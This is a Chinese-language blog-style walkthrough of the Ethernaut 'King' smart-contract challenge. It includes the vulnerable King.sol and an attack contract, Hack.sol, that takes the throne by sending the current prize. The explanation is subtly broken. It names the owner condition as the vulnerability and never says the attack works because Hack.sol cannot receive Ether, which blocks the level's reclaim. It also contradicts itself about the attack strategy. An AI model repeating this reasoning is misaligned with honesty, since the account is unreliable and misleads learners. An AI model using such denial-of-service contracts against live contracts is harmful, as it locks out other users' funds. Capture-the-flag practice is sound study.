Appearance
智能合约界的“权力的游戏”:一招制敌,谁是真国王?
欢迎来到 Ethernaut 的“King”关卡,一场发生在区块链上的“权力的游戏”正在上演!这次,我们将扮演一个无情的挑战者,目标是打破这个看似简单却暗藏玄机的智能合约游戏。
游戏规则:谁比我强,谁就称王!
让我们先来了解一下这场游戏的规则。你面前的这个智能合约,就像一个迷你王国。
- 国王的宝座: 合约中有一个
king地址,记录着当前“国王”是谁。 - 奖金池:
prize变量存储着当前王国的“奖金池”金额。 - 游戏机制: 任何发送比当前
prize更大金额的以太坊(Ether)到这个合约的人,就能立刻成为新的国王! - 老国王的谢幕: 当出现新的国王时,被“废黜”的老国王会收到刚刚被新国王贡献的这笔以太坊金额,并能从中获利。
- “庞氏骗局”般的循环: 这种机制听起来是不是有点像经典的庞氏骗局?不断有人投入资金,前一位受益,新的“国王”诞生,旧的“国王”退出,游戏继续。
你的任务:打破游戏的平衡
你的目标是成为那个打破这个循环的人。然而,这里有一个关键的“反制”机制:
当你成功将这个挑战者合约提交回 Ethernaut 关卡时,关卡本身会“自动”夺回国王的头衔。
这意味着,你不能简单地通过发送更高的金额成为国王,因为最终的胜利者不是你,而是 Ethernaut 关卡。你需要找到一种方法,在 Ethernaut 关卡夺回王权之前,就已经成功“获胜”。
深入剖析合约代码:寻找漏洞
让我们来看看 King.sol 这个合约,看看它隐藏着什么玄机:
solidity
contract King {
address king;
uint256 public prize;
address public owner;
constructor() payable {
owner = msg.sender; // 合约部署者是 owner
king = msg.sender; // 部署者也是初始国王
prize = msg.value; // 初始奖金池等于部署时发送的金额
}
receive() external payable {
// 关键的逻辑在这里!
require(msg.value >= prize || msg.sender == owner); // 必须满足这两个条件之一
payable(king).transfer(msg.value); // 将当前奖金池的金额转给前任国王
king = msg.sender; // 新的发送者成为国王
prize = msg.value; // 新的奖金池等于发送者发送的金额
}
function _king() public view returns (address) {
return king;
}
}
constructor: 当合约部署时,部署者 (msg.sender) 成为owner和初始的king,并且prize被设置为部署时发送的以太坊金额。receive()函数: 这是整个游戏的“心脏”。任何发送以太坊到合约的人都会触发这个函数。require(msg.value >= prize || msg.sender == owner);这就是漏洞所在! 这个require语句要求:- 要么你发送的金额 (
msg.value) 大于等于当前的prize。 - 或者,发送者 (
msg.sender) 是合约的owner。
- 要么你发送的金额 (
揭秘攻击方式:巧妙利用 owner 权限
看到 || msg.sender == owner 这个条件了吗?这意味着,即使你发送的金额没有比 prize 高,但如果你是合约的 owner,你也可以成功触发 receive() 函数,并成为新的国王!
而 Ethernaut 关卡的 King.sol 合约,在部署时,它的 owner 就是 Ethernaut 关卡自己(部署者)。
所以,我们的攻击策略就呼之欲出了:
- 找到一个“中间人”: 我们需要一个能够直接与
King合约交互的合约。这个新的合约,就充当了我们攻击的“载体”。 - 利用
owner权限(但不是直接!): 我们不能直接成为King合约的owner,因为owner在部署时就固定了。但我们可以 利用King合约的receive()函数的另一半逻辑:msg.value >= prize。 - 精确计算,一击即中: 攻击合约
Hack.sol的关键在于,它需要发送恰好等于当前prize的金额。这样,msg.value >= prize这个条件就满足了。
攻击合约 Hack.sol 的奥秘:
让我们看看 Hack.sol 是如何做到的:
solidity
contract Hack {
constructor(address payable _target) payable {
// 1. 获取目标 King 合约当前的 prize
uint prize = King(_target).prize();
// 2. 向目标 King 合约发送一个金额,这个金额等于当前的 prize
// 这样就满足了 receive() 函数中的 msg.value >= prize 条件
// 即使 msg.sender 不是 owner,也能成功触发 receive() 并成为新的 king
(bool success,) = _target.call{ value: prize }("");
require(success, "Send to King ETH fail!");
}
}
constructor(address payable _target):当Hack合约被部署时,它接收目标King合约的地址。uint prize = King(_target).prize();:Hack合约首先会去查询目标King合约当前的prize是多少。(bool success,) = _target.call{ value: prize }("");:这是关键的攻击点!Hack合约通过call方法,向目标King合约发送了一个金额,这个金额恰好等于当前prize的值。- 由于
msg.value(我们发送的prize金额) 等于prize,所以msg.value >= prize条件被满足。 Hack合约因此成功地触发了King合约的receive()函数,并取代了原来的king。- 被替换的“前任国王”则收到了
Hack合约发送的这笔以太坊。
- 由于
总结:
Ethernaut 的“King”关卡是一个绝佳的例子,它展示了智能合约中看似微小的逻辑漏洞,如何被利用来颠覆游戏的规则。通过精确地理解合约的 require 条件,并利用 call 方法发送恰到好处的金额,我们可以巧妙地绕过“国王”的权力更迭,最终“赢得”这场区块链上的权力游戏。
记住,在智能合约的世界里,每一个细节都至关重要!